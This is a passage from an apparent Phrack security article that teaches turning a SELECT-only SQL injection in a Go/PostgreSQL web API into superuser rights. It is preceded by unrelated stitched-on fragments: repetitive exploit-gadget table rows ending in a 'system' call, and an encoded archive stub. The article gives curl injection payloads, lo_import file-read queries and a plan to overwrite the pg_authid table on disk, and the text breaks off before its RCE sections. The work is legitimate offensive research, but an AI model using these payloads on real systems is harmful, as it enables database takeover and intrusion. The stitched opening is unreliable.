| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __libc_sa_len | SUB RDI, 0x1 |

| __li bc_sa_len | SUB RDI, 0x1 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'n' |

| _nss_files_endpwent | MOV RDI, 0x6 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'/' |

| _nss_files_endhostent | MOV RDI, 0x3 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'s' |

| _nss_files_endprotoent | MOV RDI, 0x5 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| __cache_sysconf | SUB RDI, 0xB9 |

| _dl_mcount_wrapper... | MOV RSI, RDI |

| __default_pthread_attr... | MOV RDI, LIBC |

| __hash_string | SET RDI TO END OF STRING |

| _dl_tunable_set_... | MOV RDX, 0x1 |

| __memset_sse2... | MOV [RDI], SIL #'h' |

| __default_pthread_attr... | MOV RDI, LIBC |

| system | SYSTEM |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑| 12. Appendix C: Source Code

begin 644 FOP_Mythoclast.tar.gz M'XL(`````````^Q;<7/:2++?O_TIYD'=`A<M`6PG&[_XZF&$`U<8#,)`XKA< end

World of SELECT-only PostgreSQL Injections

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x08 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ World of SELECT‑only PostgreSQL Injections: ]=‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ (Ab)using the filesystem ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Maksym Vatsyk ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ Table of contents

0 ‑ Introduction

1 ‑ The SQLi that started it all

1.0 ‑ Target info

1.1 ‑ A rather trivial injection

1.2 ‑ No stacked queries for you

1.3 ‑ Abusing server‑side lo_ functions

1.4 ‑ Not (entirely) a superuser

1.5 ‑ Looking for a privesc

2 ‑ PostgreSQL storage concepts

2.0 ‑ Tables and Filenodes

2.1 ‑ Filenode format

2.2 ‑ Table metadata

2.3 ‑ Cold and Hot Data storages

2.4 ‑ Editing filenodes offline

3 ‑ Updating the PostgreSQL data without UPDATE

3.0 ‑ Identifying target table

3.1 ‑ Search for the associated Filenode

3.2 ‑ Reading and downloading Filenode

3.3 ‑ Extracting table metadata

3.4 ‑ Making ourselves a superuser

3.5 ‑ Flushing Hot storage

4 ‑ SELECT‑only RCE

4.0 ‑ Reading original postgresql.conf

4.1 ‑ Choosing a parameter to exploit

4.2 ‑ Compiling malicious library

4.3 ‑ Uploading the stuff back to the server

4.4 ‑ Reload successful

5 ‑ Conclusions

6 ‑ References

7 ‑ Source code

‑‑[ 0 ‑ Introduction

This article tells the story of how a failed attempt to exploit a basic SQL injection in a web API with the PostgreSQL DBMS quickly spiraled into 3 months of researching database source code and (hopefully) helping to create several new techniques to pwn Postgres hosts in restrictive contexts. Let's get into the story, shall we?

‑‑[ 1 ‑ The SQLi that started it all

‑‑‑[ 1.0 ‑ Target info

The target web app was written in the Golang Gin[0] framework and used PGX[1] as a DB driver. What is interesting about the application is the fact that it is a trusted public data repository ‑ anyone can query all data. The updates, however, are limited to a trusted set of users.

This means that getting a SELECT SQL injection will have no impact on the application, while DELETE and UPDATE ones will still be critical.

Unfortunately, I am not allowed to disclose the source code of the original application, but it can be roughly boiled down to this example (with data and tables changed to something artificial):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

package main

import (

"context"

"fmt"

"log"

"net/http"

"github.com/gin‑gonic/gin" "github.com/jackc/pgx/v4/pgxpool"

)

var pool *pgxpool.Pool

type Phrase struct {

ID int `json:"id"`

Text string `json:"text"`

}

func phraseHandler(c *gin.Context) {

phrases := []Phrase{}

phrase_id := c.DefaultQuery("id", "1")

query := fmt.Sprintf(

"SELECT id, text FROM phrases WHERE id=%s", phrase_id

)

rows, err := pool.Query(context.Background(), query) defer rows.Close()

if err != nil {

c.JSON(

http.StatusInternalServerError, gin.H{"error": err.Error()}

)

return

}

for rows.Next() {

var phrase Phrase

err := rows.Scan(&phrase.ID, &phrase.Text)

if err != nil {

c.JSON( http.StatusInternalServerError, gin.H{"error": err.Error()}

)

return

}

phrases = append(phrases, phrase)

}

c.JSON(http.StatusOK, phrases)

}

func main() {

pool, _ = pgxpool.Connect(

context.Background(), "postgres://localhost/postgres?user=poc_user&password=poc_pass")

r := gin.Default()

r.GET("/phrases", phraseHandler)

r.Run(":8000")

defer pool.Close()

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 1.1 ‑ A rather trivial injection

The actual injection happens inside the phraseHandler function on these lines of code. The app directly formats the query parameter id into the query string and calls the pool.Query() function. It couldn't be any simpler, right?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

phrase_id := c.DefaultQuery("id", "1")

query := fmt.Sprintf(

"SELECT id, text FROM phrases WHERE id=%s",

phrase_id

)

rows, err := pool.Query(context.Background(), query)

defer rows.Close()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The SQL injection can be quickly confirmed with these cURL requests:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode "id=1"

[

{"id":1,"text":"Hello, world!"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode "id=‑1"

[]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode "id=‑1 OR 1=1"

[

{"id":1,"text":"Hello, world!"},

{"id":2,"text":"A day in paradise."},

...

{"id":14,"text":"Find your inner peace."}, {"id":15,"text":"Dance in the rain"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this moment, our SQL query will look something like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SELECT id, text FROM phrases WHERE id=‑1 OR 1=1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Luckily for us, PostgreSQL drivers should easily support stacked queries, opening a wide range of attack vectors for us. We should be able to append additional queries separated by a semicolon like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SELECT id, text FROM phrases WHERE id=‑1; SELECT pg_sleep(5);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's just try it... Oh no, what is that?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" \

‑‑data‑urlencode "id=‑1; SELECT pg_sleep(5)"

{

"error":"ERROR: cannot insert multiple commands into a prepared statement (SQLSTATE 42601)"

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 1.1 ‑ No stacked queries for you

It turns out that the PGX developers decided to **secure** driver use by converting any SQL query to a prepared statement under the hood.

This is done to disable any stacked queries whatsoever[2]. It works because the the PostgreSQL database itself does not allow multiple queries inside a single prepared statement[3].

So, we are suddenly constrained to a single SELECT query! The DBMS will reject any stacked queries, and nested UPDATE or DELETE queries are also prohibited by the SQL syntax.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 OR (UPDATE * phrases SET text='lol')"

{

"error":"ERROR: syntax error at or near \"SET\" (SQLSTATE 42601)" }

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 OR (DELETE * FROM phrases)"

{

"error":"ERROR: syntax error at or near \"FROM\" (SQLSTATE 42601)" }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Nested SELECT queries are still possible, though!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 OR (SELECT 1)=1"

[

{"id":1,"text":"Hello, world!"},

...

{"id":14,"text":"Find your inner peace."}, {"id":15,"text":"Dance in the rain"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since one can read the DB data without the SQLi, is this bug even worth reporting?

‑‑‑[ 1.2 ‑ Abusing server‑side lo_ functions

Not all hope is lost, though! Since nested SELECT SQL queries are allowed, we can try to call some of the built‑in PostgreSQL functions and see if there are any that can help us.

PostgreSQL has several functions that allow reading files from and writing to the server running the DBMS. These functions[4] are a part of the PostgreSQL Large Objects functionality, and should be accessible to the superusers by default:

1. lo_import(path_to_file, lo_id) ‑ read the file into the DB large object 2. lo_export(lo_id, path_to_file) ‑ dump the large object into a file

What files can be read? Since the DBMS is normally running under the postgres user, we can search for readable files via the following command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ cat /etc/passwd | grep postgres postgres:x:129:129::/var/lib/postgresql:/bin/bash

$ find / ‑uid 129 ‑type f ‑perm ‑600 2>/dev/null

...

/var/lib/postgresql/data/postgresql.conf <‑‑‑‑ main service config /var/lib/postgresql/data/pg_hba.conf <‑‑‑‑ authentication config /var/lib/postgresql/data/pg_ident.conf <‑‑‑‑ psql username mapping ...

/var/lib/postgresql/13/main/base/1/2654 <‑‑‑‑ some data files /var/lib/postgresql/13/main/base/1/2613

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There already is an RCE technique, initially discovered by Denis Andzakovic[5] and sylsTyping[6] in 2021 and 2022, which takes advantage of the postgresql.conf file.

It involves overwriting the config file and either waiting for the server to reboot or forcefully reloading the configuration via the pg_reload_conf() PostgreSQL function[7].

We will return to this matter later in the article. For now, let's just check if we have the permissions to call every function mentioned above.

Calling lo_ functions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT lo_import('/var/lib/postgresql/data/postgresql.conf', 31337)) AS text)" [

{"id":1337,"text":"31337"}

]

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT lo_get(31337)) AS text)"

[

{"id":1337,"text":"\\x23202d2d2d...72650a"}

]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Large object functions work just fine! We've imported a file into the DB and consequently read it from the object with ID 31337.

Calling pg_reload_conf function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)" []

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is a problem with the pg_reload_conf function, however. In success cases, it should return a row with the text "true".

Why can we call large object functions but not pg_reload_conf? Shouldn't they both be accessible to a superuser?

‑‑‑[ 1.3 ‑ Not (entirely) a superuser

They should, but we happen to not be one. Our test user has explicit permissions over the large object functions but lacks access to anything else. The permissions should be similar to the below example configuration:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CREATE USER poc_user WITH PASSWORD 'poc_pass'

GRANT pg_read_server_files TO poc_user

GRANT pg_write_server_files TO poc_user

GRANT USAGE ON SCHEMA public TO poc_user

GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE pg_largeobject TO poc_user

GRANT EXECUTE ON FUNCTION lo_export(oid, text) TO poc_user

GRANT EXECUTE ON FUNCTION lo_import(text, oid) TO poc_user

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 1.4 ‑ Looking for a privesc

If we want to perform RCE through the configuration file reliably, we must find a way to become a superuser and call pg_reload_conf(). Unlike the popular topic of PostgreSQL RCE techniques, there is not a whole lot of information about privilege escalation from within the DB.

Luckily for us, the official documentation page for Large Object functions gives us some clues for the next steps[4]:

> It is possible to GRANT use of the server‑side lo_import and lo_export > functions to non‑superusers, but careful consideration of the security > implications is required. A malicious user of such privileges could > easily parlay them into becoming superuser (for example by rewriting > server configuration files)

What if we were to modify the PostgreSQL table data directly, on disk, without any UPDATE queries at all?

‑‑[ 2 ‑ PostgreSQL storage concepts

‑‑‑[ 2.0 ‑ Tables and Filenodes

PostgreSQL has extremely complex data flows to optimize resource usage and eliminate possible data access conflicts, e.g. race conditions. You can read about them in great detail in the official documentation[8][9].

The physical data layout significantly differs from the widely known "table" and "row" objects. All data is stored on disk in a Filenode object named with the OID of the respective pg_class object.

In other words, each table has its Filenode. We can lookup the OID and respective Filenode names of a given table through the following queries:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SELECT oid FROM pg_class WHERE relname='TABLE_NAME'

// OR

SELECT pg_relation_filepath('TABLE_NAME');

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All of the filenodes are stored in the PostgreSQL data directory. The path to which can be queried from the pg_settings table by superusers:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SELECT setting FROM pg_settings WHERE name = 'data_directory';

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

However, this value should generally be the same across different installations of the DBMS and can be easily guessed by a third party.

A common path for PostgreSQL data directories on Debian systems is "/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/".

We can obtain the major version by running a "SELECT version()" query in the SQLi. The default value of CLUSTER_NAME is "main".

An example path of a filenode for our "phrases" would be:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

=== in psql ===

postgres=# SELECT pg_relation_filepath('phrases'); pg_relation_filepath

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

base/13485/65549

(1 row)

postgres=# SELECT version();

version

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PostgreSQL 13.13 (Ubuntu 13.13‑1.pgdg22.04+1) on x86_64‑pc‑linux‑gnu, compiled by gcc (Ubuntu 11.4.0‑1ubuntu1~22.04) 11.4.0, 64‑bit (1 row)

=== in bash ===

$ ll /var/lib/postgresql/13/main/base/13485/65549

‑rw‑‑‑‑‑‑‑ 1 postgres postgres 8192 mar 14 13:45 /var/lib/postgresql/13/main/base/13485/65549

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So: all of the files with numeric names, found in section 1.2, are in fact separate table filenodes that the postgres user can read and write!

‑‑‑[ 2.1 ‑ Filenode format

A Filenode is a binary file composed of separate chunks of 0x2000 bytes called Pages. Each page holds the actual row data within nested Item objects. The layout of each Filenode can be summarized with the below diagram:

+‑‑‑‑‑‑‑‑‑‑+

| Filenode |

+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| +‑‑‑‑‑‑‑‑+

| | Page 1 |

| +‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

| | Page Header |Item ID 1|Item ID 2| ... |Item ID n| | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑‑‑‑‑

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |

| | | ... empty space padded with 0x00 ... | | |

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | |

| | v v | |

| | +‑‑‑‑‑‑

| | | Item n | ... | Item 2 | Item 1 | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| ...

| +‑‑‑‑‑‑‑‑+

| | Page n |

| +‑‑‑‑‑‑‑‑+

| ...

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.2 ‑ Table metadata

It is worth noting that the Item objects are stored in the binary format and cannot be manipulated directly. One must first deserialize them using metadata from the internal PostgreSQL "pg_attribute" table. We can query Item metadata using the following SQL query:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SELECT

STRING_AGG(

CONCAT_WS(

',',

attname,

typname,

attlen,

attalign

),

';'

)

FROM pg_attribute

JOIN pg_type

ON pg_attribute.atttypid = pg_type.oid

JOIN pg_class

ON pg_attribute.attrelid = pg_class.oid

WHERE pg_class.relname = 'TABLE_NAME';

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.3 ‑ Cold and Hot data storage

All of the above objects make up the DBMS' cold storage. To access the data in cold storage through a query, Postgres must first load it in the RAM cache, a.k.a. hot storage.

The following diagram shows a rough and simplified flow of how the PostgreSQL accesses the data:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

|Table in RAM cache|‑‑‑‑‑‑>|Filenode|‑‑+‑‑‑>|Page 1|‑‑‑+‑‑‑>|Item 1|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

Page 2| +‑‑‑>|Item 2|

Page n| +‑‑‑>|Item n|

The DBMS periodically flushes any changes to the data in hot storage to the filesystem.

These syncs may pose a challenge to us! Since we can only edit the cold storage of a running database, we risk subsequent hot storage syncs overwriting our edits. Thus, we must ensure that the table we want to overwrite has been offloaded from the cache.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# PostgreSQL configuration file

# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

...

# ‑ Memory ‑

shared_buffers = 128MB # min 128kB

# (change requires restart)

...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The default cache size is 128MB. So, if we stress the DB with expensive queries to other tables/large objects before the flush, we might overflow the cache and clear our target table from it.

‑‑‑[ 2.4 ‑ Editing filenodes offline

I've created a tool to parse and modify data stored in filenodes, which functions independently of the Postgres server that created the filenodes. We can use it to overwrite target table rows with our desired values.

The editor supports both datatype‑assisted and raw parsing modes. The assisted mode is the preferred option as it allows you to edit the data safely, without accidentally messing up the whole filenode structure.

The actual parsing implementation is way too lengthy to discuss in this article, but you can find the sources on GitHub[10], or the source code in this article if reading online, if you want to dig deeper into it.

You can also check out this article[12] on parsing filenodes in Golang.

‑‑[ 3 ‑ Updating the PostgreSQL data without UPDATE

‑‑‑[ 3.0 ‑ Identifying target table

So, we are looking to escalate our permissions to those of a DBMS superuser. Which table should we aim to modify? All Postgres permissions are stored in the internal table "pg_authid". All CREATE/DROP/ALTER statements for new roles and users actually modify this table under the hood. Let's inspect it in a PSQL session under the default super‑admin user:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

postgres=# SELECT * FROM pg_authid; \x

‑[ RECORD 1 ]‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oid | 3373

rolname | pg_monitor

rolsuper | f

rolinherit | t

rolcreaterole | f

rolcreatedb | f

rolcanlogin | f

rolreplication | f

rolbypassrls | f

rolconnlimit | ‑1

rolpassword |

rolvaliduntil |

... TRUNCATED ...

‑[ RECORD 9 ]‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oid | 10

rolname | postgres

rolsuper | t

rolinherit | t

rolcreaterole | t

rolcreatedb | t

rolcanlogin | t

rolreplication | t

rolbypassrls | t

rolconnlimit | ‑1

rolpassword |

rolvaliduntil |

‑[ RECORD 10 ]‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oid | 16386

rolname | poc_user

rolsuper | f

rolinherit | t

rolcreaterole | f

rolcreatedb | f

rolcanlogin | t

rolreplication | f

rolbypassrls | f

rolconnlimit | ‑1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The table contains a bunch of "rol" boolean flags and other interesting stuff, like the MD5 hashes of the user logon passwords. The default superadmin user "postgres" has all boolean flags set to true.

To become a superuser, we must flip all boolean fields to True for our user, "poc_user".

‑‑‑[ 3.1 ‑ Search for the associated Filenode

To modify the table, we must first locate and read the filenode from the disk. As discussed previously, we won't be able to get the data directory setting from the DBMS, as we lack permissions to read the "pg_settings" table:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, (SELECT setting FROM pg_settings WHERE name='data_directory')" {

"error":"can't scan into dest[1]: cannot scan null into *string" }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

However, we can reliably guess the data directory path by querying the version of the DBMS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ curl ‑G "http://172.23.16.127:8000/phrases" ‑‑data‑urlencode \

"id=‑1 UNION SELECT 1337, (SELECT version())"

[

{"id":1337,"text":"PostgreSQL 13.13 (Ubuntu 13.13‑1.pgdg22.04+1) on x86_64‑pc‑linux‑gnu, compiled by gcc (Ubuntu 11.4.0‑1ubuntu1~22.04) 11.4.0, 64‑bit"} ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Version information gives us more than enough knowledge about the DBMS and the underlying server. We can simply install a major version of PostgreSQL release 13 on our own Ubuntu 22 VM and find that the data directory is "/var/lib/postgresql/13/main":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ubuntu@ubuntu‑virtual‑machine:~$ uname ‑a

